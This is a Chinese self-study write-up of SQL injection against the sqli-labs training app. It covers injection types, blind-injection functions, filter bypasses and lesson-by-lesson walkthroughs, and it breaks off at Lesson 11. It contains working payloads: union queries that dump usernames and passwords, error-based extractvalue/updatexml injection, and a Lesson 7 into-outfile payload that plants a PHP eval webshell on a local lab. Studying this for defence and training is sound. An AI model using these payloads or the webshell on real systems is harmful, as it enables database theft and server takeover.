(部分搜寻的资料用于自学,如有侵犯,联系可删! ———— by 611)
- SQL注入(包含部分SQLI过关纪录)
- 基础知识
- 关卡架构
- Lesson 1
- Lesson 2
- Lesson 3
- Lesson 4
- Lesson 5(盲注详细)
- Lesson 6、Lesson8、Lesson9、Lesson10(盲注简略)
- Lesson 7(文件的导入与导出,注入WebShell)
- Lesson 11—Lesson 16(POST请求)
- Lesson 17(利用增删改函数)
- Lesson 18—Lesson 22(HTTP头部注入)
- Lesson 23(过滤注释符)
- Lesson 24(二次注入)
- Lesson 25(过滤or和and)
- Lesson 25a(同上)
- Lesson 26—Lesson 28a(过滤空格、引号、Union、Select关键字等)
- Lesson 29—Lesson 31(Http参数污染)
- Lesson 32——Lesson 37(宽字节注入)
- Lesson 38——Lesson 45(堆叠注入)
- Lesson 46——Lesson 53(Order by后的注入)
SQL注入(包含部分SQLI过关纪录)
基础知识
一、Mysql常用命令
功能 | 命令 | 示例 |
---|---|---|
启用Mysql (也可以切换用户) |
mysql -u用户名 -p密码 | |
启用Mysql(密码不显示) | mysql -u 用户名 -p | |
查看所有用户 | select user from mysql.user | |
创建用户 | create user '用户名'@'主机名' indentified by '密码' (不写主机名,主机名默认为%) |
|
删除用户 | drop user '用户名'@'主机名' | |
授权用户 | grant 权限 on 数据库/表 对象 to '用户名'@'主机名' | |
显示数据库 | show databases; | |
创建新的数据库 | create database 数据库名; | |
使用数据库(想用直接用,可以直接切换) | use 数据库名; | |
查看当前使用的数据库 | select database(); | |
查看当前数据库的数据表 | show tables; | |
删除数据库 | drop database 数据库名; | |
创建数据表 | ||
查看某数据表的列名 | show columns from 表名; | |
查看某数据表的列名 | describe 表名; | |
查看某数据表的详细信息 | select * from 表名; | |
向某数据表插入一条数据 | insert into 表名 values(字段1值,字段2值); | |
向某数据表插入多条数据 | insert into表名 values(字段1值,字段2值),(字段1值,字段2值); | |
删除表中某一行数据 | delete from 表名 where 删除条件 | |
更改某行数据 | update 表名 set 条件 (条件可以为字段1=值1,也可以是where子句,或orderby、limit子句) |
|
清空数据表 | truncate 表名; |
二、常见SQL注入类型
1、联合查询注入(U)
(以Lesson 1为例,单引号闭合)
?id=1'或id=1"或id=fjejvhc 等等 //判断异常
?id=1' order by 3 --+ //闭合引号,获取列数(不正确的列数会报错)
?id=-1' union select 1,2,3 --+ //判断回显位置(假设回显位置为2,3)
?id=-1' union select 1,database(),3 --+ //获取数据库名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ //获取当前数据库的表名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+ //获取用户表的列名
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+ //获取具体数据
关于order by的用法如果不理解,详看本章节第7部分中关于Order by后的注入,里面有详细用法。
union的作用是将两个查询语句的查询结果放到一个表中,因为结果要放到一个表里,那么就要求两个查询的表必须具有相同的列数,所以前一步用order by判断出列数,select 1,2,3的作用就是占位,相当于没有一个具体的表,但是我们构造了一个与目标表列数相同的表,以便我们可以使用union关键字。
如果id值填的是正确的,那么使用union关键字的第一个查询语句的结果就是:1,Dumb,Dumb;第二个查询语句的结果就是1,2,3,把它们联合到一起就是如下图中第一个表的结果。但是如果代码语句中加了limit 0,1 ,那么就只会显示第一行(如下图的第二个表的结果),所以为了避免可能会因为语句中加了limit 0,1 而导致第二行无法显示的问题,我们就干脆让第一个查询语句的查询结果为空(也就是赋予一个不存在的id值),这样就只会显示出我们1,2,3的查询语句,进而判断回显位置。(如下图的第三个表的结果)
2、盲注(详看Lesson 5)
盲注就是在注入过程中,获取的数据不能回显到前端界面,主要原因是很多sql函数操作本身就是没有回显的,比如insert、delete、update等,语句执行后不会有什么信息显示,只会显示出语句执行成功或者失败;或者后台编代码时,就没有设计出回显,相当于编程时没有printf。此时需要利用一些方法进行判断或者尝试(基本上得靠工具,靠手工会很难,需要花费大量的时间去猜解 ),这个过程称之为盲注,盲注可以分为以下三类:
-
基于布尔的盲注(逻辑判断,B)
使用条件:没有有效回显信息,也没有返回SQL执行的错误信息,错误与正确的输入,返回的结果只有两种。
主要破解技术:利用字符串截取函数。
函数名 作用 示例 Sql用例 mid(a,b,c) 从位置b开始,截取a字符串的c位 mid('abc',2,1) ==> 返回b mid(database(),1,1) ==>查看数据库第1位 substr(a,b,c) 从位置b开始,截取a字符串的c长度 substr('abc',2,2) ==> 返回ab substr(database(),2,1) ==> 查看数据库第2位 left(a,b) 从左侧截取a字符串的前b位 left('abc',1) ==> 返回a left(database(),2) ==>查看数据库前2位 ascii(str) 返回字符串str最左面字符的ascii码 ascii('a') ==>97 ascii(substr((select database()),1,1))=98 ord(str) 与ascii函数作用基本相同 -
基于时间的盲注(延时判断,T):不推荐,因为有的时候网站可能就是很慢,导致看不出来,容易误判。
使用条件:没有有效回显信息,也没有返回SQL执行的错误信息,正确执行与错误执行返回的结果都一样。
主要破解技术:if、sleep函数。
-
基于报错的盲注(报错回显,E) 构造错误,让其强制回显。
3、二次注入(Lesson 24)
二次注入也称为存储型的注入,就是先把可能会导致sql注入的字符存入到数据库里,然后当再次调用这个恶意构造的字符时就可以进行sql注入,比如先注册一个特殊的用户,然后成功登录之后发现可以修改密码,那就可以利用update进行注入,或者如果已知了某个用户名,那么就可以注册一个在这个用户名基础上加特殊符的用户,然后再执行sql语句,就有可能会出现把目标用户名的密码修改的情况,比如Lesson 24。
4、HTTP参数污染(HPP) Lesson29—Lesson31
服务器端有两个部分:第一部分为Tomcat 为引擎的jsp 型服务器,第二部分为Apache为引擎的php 服务器,真正提供web 服务的是php 服务器。
工作流程为:client 访问服务器 ——> 访问到tomcat 服务器 ——> tomcat 服务器向apache 服务器请求数据。(数据返回路径则相反。)
URL参数是可以同名的,假设现在有一个URL的参数部分是这样的 :?id=1&id=2 ,那么服务器究竟是按照id=1处理还是id=2处理呢?不同的Web服务器对同名id的选取是不一样的(具体参见下表),Tomcat(jsp)解析第一个参数,即显示id=1的内容,而Apache(php)解析最后一个参数,即显示id=2的内容。
那么,既然要经过tomcat,又要经过apache,而他们解析的参数位置又不一样,那最后返回给我们客户端的到底是id=1的内容还是id=2的内容呢??实际上,应该是id=2的内容,因为提供服务的是Apache服务器,那么返回的数据也应该是Apache处理的数据。那么既然这样,又为什么要设置两层服务器呢?因为我们往往在Tomcat服务器处会做一个过滤和处理,把过滤和处理好的参数交给Apache去处理,功能类似于一个WAF,而这种机制就导致产生了漏洞,因为解析参数的不同,我们就可以构造同名id,绕过tomcat的过滤,把有污染的参数传给Apache,这一过程就是Http参数污染,又称HPP(HTTP Parameter Pollution)
修复建议:
- 对用户输入数据的参数的格式进行验证。
- 在WAF或其他网关设备(比如IPS)在检查URL时,对同一个参数被多次赋值的情况进行特殊处理。
- 在代码层面,编写WEB程序时,要通过合理的
$_GET
方法获取URL中的参数值,而尝试获取web服务器返回给程序的其他值时要慎重处理。
5、宽字节注入(Lesson 32—Lesson37)
https://www.cnblogs.com/cscshi/p/15705038.html
(1)编码的历史:
最早美国人决定用8个可以开合的晶体管来组成不同的状态,这些晶体管只有“亮”或“不亮”两种形态,也就是对应了二进制的0和1。而1个字节有8个比特位,可以组合成2^8=256种不同的方案,他们把编号从0开始的32种状态用在规定的特殊用途,这32个字符后来成为“控制码”;他们又把所有的空格、标点符号、数字、大小写字母分别用连续的字节状态表示,一直编到了第127号,而这96个字符也被称为”ASCII码”。
后来随着计算机不断发展,世界各国为了可以让计算机保存各国的文字,他们决定采用127号之后的空位来表示这些新的字母、符号,于是从第128字符到最后一个255字符被称为“扩展字符集”。
但是等到中国人民得到计算机时,已经没有多余的字节状态来存储汉字。于是国人自主研发,将127之后的字符全部去掉,并规定:一个小于127的字符意义与原来相同,若两个大于127的字符连在一起时,就表示一个汉字,这种方案被叫做“GB2312“。但中国的汉字实在太多GB2312已经无法满足,于是人们将规则放宽,规定只要第一个字节是大于127就固定表示这是一个汉字的开始,而不管后面跟的是不是扩展字符集的内容。这种方案也就是现在我们常用的“GBK”编码。
因为当时各国都有一套自己的编码标准,如果没有装其他国家的编码系统,就完全无法使用他国的语言,结果互相之间谁也不懂谁的编码,后来国际标准化组织ISO决定着手解决这个问题,他们废除了所有的地区性编码方案,并将字符的表示由原来的一个字节改成两个字节,也就是用16位来统一表示所有的字符,对于ASCII码这些半角字符,也从8位扩展到16位,也就是说他们的高8位永远是0。这一标准化方案也就是现在世界各国普遍使用的UNICODE编码。
(2)mysql中字符集相关的系统变量
- character_set_client:主要用来设置客户端使用的字符集
- character_set_connection:主要用来设置连接数据库时的字符集,即:Mysql接受用户查询后,按照character_set_client将其转化为character_set_connection设定的字符集。
- character_set_results:数据库给客户端返回时使用的字符集,Mysql将存储的数据转换成character_set_results中设定的字符集发送给用户。
(3)宽字节注入原理
如果在php为了防止SQL注入而使用了一些转义敏感字符的函数,类似于:addslashes()、mysql_real_escape_string()、mysql_escape_string()等。这些函数将敏感字符例如 ‘ ,转义成 \’ ,导致无法进行SQL注入。但如果在提交参数的时候在单引号前加上一个大于127的字符,比如 %df,那么提交的参数就变成了 %df ’ ,php自动在单引号前加上反斜杠将 \ 转义变成 %df\’ ,再进一步变换成 %df%5c%27 ,再提交给MYSQL进行处理的时候问题来了,MYSQL要对接收到的数据进行编码,编码方式是GBK,所以他认为 %df%5c 是一个宽字符,而不是两个字符。也就是说 %df\’ = %df%5c %27 = 運 ' ,这样我们就把那个转义的 \ 给吃掉了,把我们想注入的单引号留下了。
6、堆叠查询注入(Lesson 38—Lesson45)
同时执行多条sql注入语句(分号隔开),就是堆叠查询注入。
虽然union和union all可以将两条语句合并在一起,但是他们执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
例如下列这个例子:
不过,虽然堆叠查询注入可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web 系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。
因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。(Oracle不能使用堆叠注入)
- 注意事项
堆叠注入是有条件限制的,后端php代码在编写的时候必须用的是mysql_multi_query()函数,而不是mysql_query()函数。
函数名 | 作用 | 参数 | 备注 |
---|---|---|---|
mysql_query(query,connnection) | 执行一条 MySQL 查询。 | query:必需,规定要发送的SQL查询 connection:可选,规定sql连接标识符 |
查询字符串不应以分号结束。 |
mysql_multi_query(connnection,query) | 执行一条或多条Mysql查询。 | 同上 | 多个查询用分号进行分隔。 |
7、其他小类型注入(Lesson 46—Lesson53)
Order by后的注入
1、关于Order by
- 基本用法
select * from user order by 1; //将user表按照第1列从小到大的顺序显示
select * from user order by 2; //将user表按照第2列从小到大的顺序显示
select * from user order by 1 desc; //设定降序排列
select * from user order by 1 asc; //设定升序排列
- 注意事项
order by不能直接出现在union的子句中,在联合查询中,order by要写在最后一个子查询之后,而且这个排序是对联合查询出来的结果集排序的,并不只是对最后一个子查询排序;所以order by不能出现在union的子句里,但是可以出现在子句的子句里。
报错写法:
select * from t1 order by 1 ASC
union
select * from t2 order by 1 ASC
不报错的写法:
(select * from t1 order by 1 ASC)
union
(select * from t2 order by 1 ASC)
- 常见应用场景
2、注入方法
之前提的,参数id都是跟在where查询关键字后面,该参数存在注入点,我们用各种方法去注入;但有些时候,参数id可能是跟在order by后面,也就是说order by后面内容成了注入点参数。根据上述的注意事项可以判断,如果order by后面存在注入点,我们是没有办法用联合查询的,如果想用联合查询,就要加括号保证语法的正确,我们虽然可以在参数后面加右括号,但是没法保证后台的sql语句中最前面有左括号,那么在这种情况下,我们又要如何注入呢?
方法一:报错注入
方法二:延时注入
方法三:into outfile
方法四:堆叠注入(但不一定成功,因为后台不一定用的是mysql_multi_query)
三、信息收集
1、基本信息收集
基本信息收集包括:操作系统、数据库名、数据库用户、数据库版本、其他路径。
信息 | 命令 |
---|---|
操作系统 | @@version_compile_os |
数据库名 | database() |
数据库用户 | user() |
数据库版本 | version() |
2、库名、表名、列名的信息收集
(1)关于information_schema系统库
它是自带的一个数据库,记录所有数据库名、表名、列名,相当于可以通过查询它来获取指定数据库下面的表名以及列名信息,主要用到这个库里的如下几个表:
表名 | 作用 |
---|---|
schemata | 记录所有数据库信息(所有属性) |
tables | 记录所有表名信息(所有属性) |
columns | 记录所有列名信息(所有属性) |
(2)上表中每个表的具体有用列(属性)信息介绍(以下几个表都所属于information_schema这个系统库):
- schemata表(了解里面有什么属性就行,注入时用不到这个表,主要用后两个表)
表名 | 列名(属性) | 作用 |
---|---|---|
schemata | schema_name | 存所有的数据库名 |
示例:
- tables表
表名 | 列名(属性) | 作用 |
---|---|---|
tables | table_name | 存所有表名 |
tables | table_schema | 存所有数据库名 |
示例:
说明:table_name这个属性是存所有表名的,而table_schema属性是对应各个表存在哪个数据库名下的,所以只要知道数据库名,就可以在这个表中查询到这个数据库中所包含的所有表名,而查询条件就是table_schema=已知 的数据库名,同时,使用group_concat()函数就可以把查到的所有表名一起输出出来。
- columns表
表名 | 列名(属性) | 作用 |
---|---|---|
column | column_name | 存所有列名 |
示例:
四、常用函数及方法技巧
1、联合注入常用函数
(1)group_concat()函数:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
2、盲注常用函数
(1)基于布尔的盲注:
截取字符串的相关函数:
函数名 | 作用 | 示例 | Sql用例 |
---|---|---|---|
mid(a,b,c) | 从位置b开始,截取a字符串的c位 | mid('abc',2,1) ==> 返回b | mid(database(),1,1) ==>查看数据库第1位 |
substr(a,b,c) | 从位置b开始,截取a字符串的c长度 | substr('abc',2,2) ==> 返回ab | substr(database(),2,1) ==> 查看数据库第2位 |
left(a,b) | 从左侧截取a字符串的前b位 | left('abc',1) ==> 返回a | left(database(),2) ==>查看数据库前2位 |
right(a,b) | 从右侧截取a字符串的后b位 | right('abc',1) ==> 返回c | right(database(),2) ==>查看数据库后2位 |
ascii(str) | 返回字符串str最左面字符的ascii码 | ascii('a') ==>97 | ascii(substr((select database()),1,1))=98 |
ord(str) | 与ascii函数作用基本相同 | ||
regexp | |||
like |
(2)基于时间的盲注:
函数名 | 作用 | 示例 | Sql用例 |
---|---|---|---|
if(条件,a,b) | 条件成立返回a,否则返回b | if(ascii('a')>97,1,0) | if(ascii(substr(database(),1,1))>115,0,sleep(5)) |
sleep(a) | 睡眠a秒 | sleep(5) | 同上 |
benchmark(count,expr) | 重复执行expr表达式count次(主要是为了耗时,让if条件中的时间差距变得明显一点) | benchmark(5000,a=5) | 见具体实例,一般把这个放到if成立的返回值设定中,这样一旦成立就会有特别长的延时,便于判断,防止肉眼识别不出来。 |
(3)基于报错的盲注:
- 基于floor、rand、count函数实现报错盲注
函数名 | 作用 | 示例 | Sql用例 |
---|---|---|---|
rand(n) | 随机产生0-1之间的小数 | rand(0) | |
floor(n) | 向下取整 | floor(1.2) ==> 1 | |
count() | |||
extractvalue(目标xml,路径) | |||
updatexml(目标xml,路径) |
3、增删改函数
在SQL注入过程中,许多注入点是基于相应的函数功能来判定的,比如遇到”注册用户“的功能一定是对应Insert语句,”更改密码、修改用户信息“等功能一定是对应的update语句,”删除信息“的功能一定是对应的delete语句,那么注入的时候就可以根据语句的特点去进行测试。
函数名 | 作用 | 举例 |
---|---|---|
Insert | 插入数据 | insert into users values('16','611','611'); |
update | 更新数据信息(可加where条件) | update users set password='aaa' where id=1; |
delete | 删除信息 | delete from users where id=1; |
注意:在判定闭合方式的时候,语句的报错是根据符号匹配来的,比如下个例子(第一个图),想测试的是password的闭合方式,但是报错信息里显示的是user_name的,原因是因为在执行语句的时候,符号逐个匹配,是匹配到最后才会发现多了一个单引号,所以报错的位置是在最后。
4、PHP中常见的转义函数(宽字节绕过和过滤绕过会用)
(1)addslashes函数:
addslashes(str):扫描str中是否有预定义字符,在预定义字符前加反斜杠,返回处理后的字符串。
预定义字符包括:单引号(')、双引号(“)、反斜杠(\)、NULL
例如:
该函数可以用于存储在数据库中的字符串以及数据库查询语句准备字符串。(默认地,PHP对所有的GET、POST、Cookie数据自动运行该函数。
(2)stripslahes()函数
删除由addslashes()所添加的反斜杠。
(3) mysql_real_escape_string()函数
对sql语句中的字符串中的以下字符进行转义,并考虑到连接的当前字符集。
- \x00
- \n
- \r
- \
- '
- "
- \x1a
(4)mysql_escape_string()函数
转义一个字符串,不考虑连接及字符集问题。
5、绕过特殊字符过滤的方法
很多时候,源代码在编写的时候都故意把一些可能导致注入的字符进行了过滤,因此如果想绕过这些过滤就需要想一些绕过方法。
- 绕过or、and的过滤
方法 | 示例 |
---|---|
大小写变形 | Or , OR , oR |
编码 | hex , urlencode |
添加注释 | /* or */ |
利用符号 | and > && or> || |
双写绕过 | oorr aandnd |
- 绕过空格的过滤
方法(用以下字符去代替空格) | 含义 |
---|---|
%09 | Tab 键(水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return功能 |
%0b | Tab键(垂直) |
%a0 | 空格 |
- 绕过注释的过滤
方法 | 示例 |
---|---|
用半闭合逻辑语句 | ‘ 1 ’ = ‘ 1 |
- 绕过union、select等关键字的过滤
方法 | 示例 |
---|---|
大小写混合 | SeLEcT UniOn |
6、文件导入与导出
(主要就是通过这些文件相关的函数和语句,把Webshell注入进去,然后用菜刀进入服务器管理)
(1)load_file()函数
使用时的限制条件:
- 必须有权限读取。(如果管理员对数据库账户降权,可能就会导致无读取权限)
- 被读取文件必须在服务器主机上。
- 必须指定文件完整的路径。
- 被读取文件所有字节可读,但文件内容必须 小于Max_allowed_packet。(最大允许传输包的大小,也就是查询出结果后,把结果发送到客户端时,每个网络包的最大大小。)
注意:如果想使用这个函数,Mysql配置文件中的secure_file_priv的值必须为空(空不代表NULL),否则将无法读取文件。
配置文件中加上这个语句,然后重启Mysql才能生效。
示例:
(2)into outfile
select ..... into outfile 'file_name'可以把被选择的行写入一个文件中。
使用时的限制条件:
- 必须有写入权限。(因为这个文件会被创建到服务器主机上)
- file_name不能是一个已经存在的文件名。
示例:
**注意:第一条语句错误是因为 \ 被转义了,所以换成 \ \ **
函数名 | 参数 | 作用 | 示例 |
---|---|---|---|
load_file(file_name) | file_name是文件完整的路径 | 读取文件并按字符串格式来返回文件内容 (文件——>数据库) |
|
load data infile | 详见mysql语法,这是内置的语句关键字,像select这种一样 | 从文本文件中读取行,装入数据库的表中 (文件——>数据库) |
|
select...into outfile 'file_name' | 把被选择内容写入文件(数据库——>文件) |
lines terminated xxx //文件以xxx为结尾
五、HTTP相关知识
参考资料:https://www.runoob.com/http/http-tutorial.html
https://www.cnblogs.com/wait59/p/13736601.html
通常HTTP消息包括客户端向服务器的请求消息和服务器向客户端的响应消息。
1、客户端向服务器的请求消息:
客户端向服务器的请求消息包括一下格式:请求行、请求头部、空行和请求数据四个部分组成,请求报文的格式如下:
示例:
(1)请求行
字段名 | 解释 |
---|---|
请求方法 | 包括GET、POST、HEAD、PUT、DELETE、OPTIONS等请求方法 |
URL | 请求对象的标识 |
HTTP版本 | 说明HTTP的 版本 |
(2)请求头
字段名 | 解释 |
---|---|
Host | 客户端指定自己想访问的WEB服务器的域名(或者是IP地址和端口号) |
User-Agent | 浏览器表名自己的身份(是哪种浏览器) |
Accept | 表示客户端期望服务器返回的媒体格式,一般取决于浏览器的偏好。q是相对品质因数,向服务器表明了媒体格式的优先级,如果不写默认就是1。在这个例子中浏览器希望先返回text/html,如果没有的话application/xhtml+xml也很希望(因为两个q都默认为1),实在不行也可以返回application/xml(但是不如前两种好,因为q=0.9),以此类推,* / *代表任意类型,意思就是之前的实在都没有那就返回任意类型吧,但是这个选择的优先级是最低的 。 |
Accept-Language | 浏览器声明自己接受的语言 |
Accept-Encoding | 浏览器声明自己接受的编码方法,通常指定压缩方法,是否支持压缩,支持什么压缩方法(gzip,deflate) |
Accept-Charset | 告诉服务器自己能接受的字符集 |
Referer | 浏览器向Web服务器表名自己是从哪个网页过来的(就是当你向一个服务器发起请求的时候,服务器会很好奇,你是从哪里知道它的,因此你需要通过http请求头中的referer字段告诉该服务器,我是从哪个页面过来访问你的。) |
Content-Length | 请求内容的长度 |
Content-Type |
2、服务器向客户端的响应消息
(1)响应消息报文格式:
关卡架构
Lesson 1— Lesson 4:基于GET报错的注入
Lesson 1
1、输入参数id不同的值会发现有对应的用户名密码
(1)输入?id=1
(2)输入?id=2
2、尝试单引号字符,发现恰好报错,根据报错信息可以判定后台应该是' id '格式的代码。
3、利用附加的单引号对其进行闭合操作,然后写想要的排序语句,并将后面的信息给注释掉。(order by是为了猜解出有多少列)
4、根据上一步提示信息猜出一共有3列,因此利用union联合语句,将select 1,2,3语句联合过去,猜出回显位置(注意需要把id的值赋成一个不可能的值,比如例子中的id=-1,让其前半句失效,否则的话联合语句的后半部分就没办法执行了)。
5、根据回显位置判定出,2,3位置有回显,因此将信息收集的语句写到2,3位置。
信息收集包括:操作系统、数据库名、数据库用户、数据库版本、其他路径。
信息 | 命令 |
---|---|
操作系统 | @@version_compile_os |
数据库名 | database() |
数据库用户 | user() |
数据库版本 | version() |
6、得到回显信息
7、利用系统库以及其中的表获取到具体的信息
(1)查询表名信息
由上一步知道了当前数据库的名字是security,所以利用系统库information_schema中的tables表可以查到security中的表名。
这个语句的意思是由于已知当前数据库的名是security,所以在information_schema的tables表中查询,输出满足table_schema的属性值为security的条件的所有表名(即:table_name属性),并把它们连接起来(group_concat函数)。
(2)查询指定表名下的列名信息
与上一步同理,根据上一步查到的表名信息,判断出用户名密码应该存放在users表中,所以继续往下查,在information_schema的column表中查询,输出满足table_name属性值为users的所有列名(即:column_name属性),并把它们连接起来。
(3)查询指定数据
注意:得到用户名和密码后,密码有可能是密文,那么就需要根据密码学知识猜测其加密方式,然后破解。
Lesson 2
1、判断注入类型
用单引、双引号等测试发现报错信息返回的就是多加的单引或双引,说明后台在存id的时候大概率是用的数字型来存储,即应该为数字型注入。
2、将其后面注释掉,并使用order by语句判断列数
3、利用union联合查询判断回显位置
4、基础信息收集
5、根据库名获取表名、列名(与Lesson 1步骤相同,不再赘述)
Lesson 3
1、判断注入类型
根据报错信息可以判断出id的存储格式应该是(' id '),所以需要用‘)来将其进行闭合操作。
2、构造闭合,将后面注释掉,利用order by判断列数
3、利用union函数判断回显
4、其余步骤同上。
Lesson 4
1、判断注入类型
根据报错信息可以判断出id的存储格式应该是(" id "),所以需要用‘)来将其进行闭合操作。
2、闭合、判断列数
3、其余同上。
Lesson 5(盲注详细)
方法一:布尔盲注
1、判断注入类型
输入不同的参数值,发现语句正确时会显示You are in.......,并没有有价值的回显信息;语句错误时,没有You are in......显示,因此该关卡为盲注。
2、根据回显方式可以知道,如果语句正确就有You are in....的显示,错误就没有,所以利用字符串截取函数进行信息收集。
函数名 | 作用 | 示例 | Sql用例 |
---|---|---|---|
mid(a,b,c) | 从位置b开始,截取a字符串的c位 | mid('abc',2,1) ==> 返回b | mid(database(),1,1) ==>查看数据库第1位 |
substr(a,b,c) | 从位置b开始,截取a字符串的c长度 | substr('abc',2,2) ==> 返回ab | substr(database(),2,1) ==> 查看数据库第2位 |
left(a,b) | 从左侧截取a字符串的前b位 | left('abc',1) ==> 返回a | left(database(),2) ==>查看数据库前2位 |
ascii(str) | 返回字符串str最左面字符的ascii码 | ascii('a') ==>97 | ascii(substr((select database()),1,1))=98 |
ord(str) | 与ascii函数作用基本相同 |
(理解:相当于一个哑巴只会点头和摇头,那么就只能通过问他:版本的第一位是不是5啊?数据库名字的第一位是不是s呀?等等根据他的回答一点一点地推测出正确的答案)
首先加单引号,判断出后台代码存id应该是用单引号存的,因此进行闭合,然后进行基本信息的收集。
注意:测试的时候用二分法来测比较快,比如测大于或者小于,如果大于8,显示正确,那么0-7直接就不用测了。
(1)获取版本号: (注意:判断相等是一个等号,不是==)
测试版本号的第一位是不是大于5的时候发现没有You are in...的显示,说明版本号第一位没有超过5。
继续测,发现版本号的第一位是5,以此类推一直测,直到测出来完整的版本号。
(2)获取数据库的长度
测试发现数据库的长度没有大于8,继续测,发现数据库的长度就为8。
(3)获取数据库名
该语句的意思是判断数据库的第一位对应的ascii码是否大于97,也可以写成判断数据库的第一位是不是a,之所以用ascii码来判断是因为盲注最好用工具跑,因为撞库太麻烦了,而在编写工具的时候,用ascii码去判断就可以写个for循环,比较方便处理,判断字符是否匹配没有判断ascii码是否相等来的容易得多。
(4)获取表名
该语句的意思是查询数据库security中的第一个表名的第一个字母是不是e(Limit(a,b) 函数的作用是从第a行开始取,取b行)
继续查,查第二位的时候一般都用substr()函数,substr(***,2,1)就是在查第二位,如下图,查询发现第二位是m。
以此类推得到第一个表名为email,然后查第二个表,查第二个表的时候只需要把limit的参数修改一下,修改成limit(1,1)就是在查第二个表,以此类推。
(5)获取列名
同样道理,不再赘述。
方法二:延时盲注
延时盲注主要利用if、sleep函数
方法三:报错盲注(注意原理)
-
基于floor、rand、count函数的报错注入
参考:https://blog.csdn.net/mastergu2/article/details/106671359/
函数名 | 作用 | 示例 | Sql用例 |
---|---|---|---|
rand(m) | 随机产生0-1之间的小数 | rand(2) | |
rand(0)*2 | 随机产生0-2之间的小数 | ||
floor() | 向下取整 | floor(1.9) ==> 1 | |
count(*) | 统计结果的行数(不会忽略NULL) | ||
group by | 对数据进行分组(相同的为1组) |
报错语句:
select count(*),floor(rand(0)*2) ,database() from users group by floor(rand(0)*2);
注入语句:
select count(*),concat(floor(rand(0)*2),database()) from users group by floor(rand(0)*2);
分析:
1、floor(rand(0) 2)的解释:*
rand(0)可以随机产生0-1之间的小数 ==> rand(0)*2就会产生0-2之间的小数 **==> **floor ( rand(0) *2)就会随机产生0和1两种结果,不会有其他的结果。
2、group by floor(rand(0)2)就是根据floor(rand(0) * 2)的结果来分组,select count(),floor(rand(0) * 2)就是建立两列,第一列为根据分组结果产生的计数,第二列还是随机数。
group by floor(rand(0)*2)的执行过程:group by在执行的时候首先会建立一个虚拟表,用来记录已经出现过的键,由于是根据floor(rand(0) *2)来进行分组,所以对于每条数据会计算该值,得到后如果虚拟表里没有,就插入;如果发现虚拟表里有,直接增加总计数值。
报错的核心原因就是这个语句里有两次随机数的获取,group by函数在执行时如果虚拟表中找到了,那么就不会执行select中的那个随机数获取,只执行group by后面的那次随机数获取,如果没在虚拟表里找到,那么这两次都会执行,一旦执行两次就可能会有随机值产生不同的情况,也就是用来判断分不分组的那个随机数与真正写到里面的那个随机数是不一样的(比如判断的时候是0,而写到里面的是1),那么由于多条数据,而且随机结果只有0和1,就一定会出现由于rand()多次计算导致的插入临时表时出现主键重复的现象,从而报错。
3、报错示例如下:
我们会发现虽然报错,但是没有有用的信息,所以要对其进行加工,获取到有用的信息,因此注入语句如下。
select count(*),concat(floor(rand(0)*2),database()) A from users group by A;
(上面语句用到了改别名,就是把concat(floor(rand(0)*2),database())改成A,简化代码)
- 基于NAME_CONST函数利用数据重复性的报错(入参必须是常数,不太常用)
函数名 | 作用 | 示例 | Sql用例 |
---|---|---|---|
name_const(name,value) | 构造一个名为name,值为value的列 | rand(2) |
- 基于extractvalue()和updatexml()的报错(处理xml的函数)
函数名 | 作用 | 示例 | Sql用例 |
---|---|---|---|
extractvalue(目标xml文档,xml指定路径) | 查询目标xml文档中指定路径下的元素 | ||
updatexml(目标xml文档,xml指定路径,更新的值) | 更新目标xml文档中指定路径下的元素为指定改的更新值 |
常用注入语句:
extractvalue(1,concat(0x7e, (select database()),0x7e))
updatexml(1,concat(0x7e,(select database()),0x7e))
注意!注意!!注意!!:
-
第一个参数是随便写的,写什么都可以,目的是让路径信息报错。之前的不理解为什么可以随便写,认为如果连目标xml文档都找不到,那路径就更找不到,所以报错信息就应该是目标xml找不到之类的。但是实际上函数在执行的时候是先检查路径是否合法,然后再查看xml文档,所以第一个参数随便写什么都可以。
-
记得写select!!!
-
select语句的左右要加括号!!!!不然会报错的!!!
concat(0x7e,select(database(),0x7e)) ----------错 concat(0x7e,(select(database()),0x7e)) ----------对
原理分析:
两个函数都是利用路径信息非法来构造错误,以其中一个为例:
构造错误的主要依据就是把路径写成非法的,比如以非法字符开头,那么报错时就会打印出来。(0x7e就是~,属于不合法的字符)
Lesson 6、Lesson8、Lesson9、Lesson10(盲注简略)
与Lesson 5过关方法一样,只不过就是闭合方式变成了双引号闭合,可以自选Lesson 5中的任意方法进行盲注,以报错注入为例:
1、判断注入类型及闭合方式
2、高大上一点,不用sqli平台了,练练burpsuite抓包改包
注入xml语句,致使其报错,注意Burpsuite拦截之后修改的位置不要写错!而且双引号、空格这些字符要改成URL编码,不然就会像第二个图一样报错。
3、其他步骤同理
Lesson 7(文件的导入与导出,注入WebShell)
1、构造闭合,根据提示是文件导入的相关应用。
http://127.0.0.1/sqli/Less-7/?id=1')) --+
2、利用into outfile语句将txt文件写入后台数据库,页面显示错误,但是观察后台,发现611.txt已经被写进去了。
http://127.0.0.1/sqli/Less-7/?id=1')) union select 1,2,3 into outfile('E:\\phpStudy\\WWW\\sqli\\Less-7\\611.txt')--+
3、我们把select中的内容换成一句话木马(select 1,2,3,按理说把1,2,3哪个位置换成一句话都行,但是实际操作时可能不一定都行,可以挨个位置试一试),把< ?php @eval($_POST["611"]);? >写到611.php放入后台,就成功注入了木马。
http://127.0.0.1/sqli/Less-7/?id=1')) union select 1,'<?php @eval($_POST["611"]);?>',3 into outfile('E:\\phpStudy\\WWW\\sqli\\Less-7\\611.php')--+
4、用中国菜刀进行连接,地址栏输入URL,后面输入POST传递的参数。
5、连接成功后右键文件管理,查看文件目录,所有的文件就会显示出来,从中获取有用的信息。
6、找到数据库的配置信息。
7、再次右键刚才的地址,进入数据库管理—>配置,按照格式要求输入配置信息,点击提交就可以进行数据库的管理了。
Lesson 11—Lesson 16(POST请求)
1、判断注入类型以及闭合方式
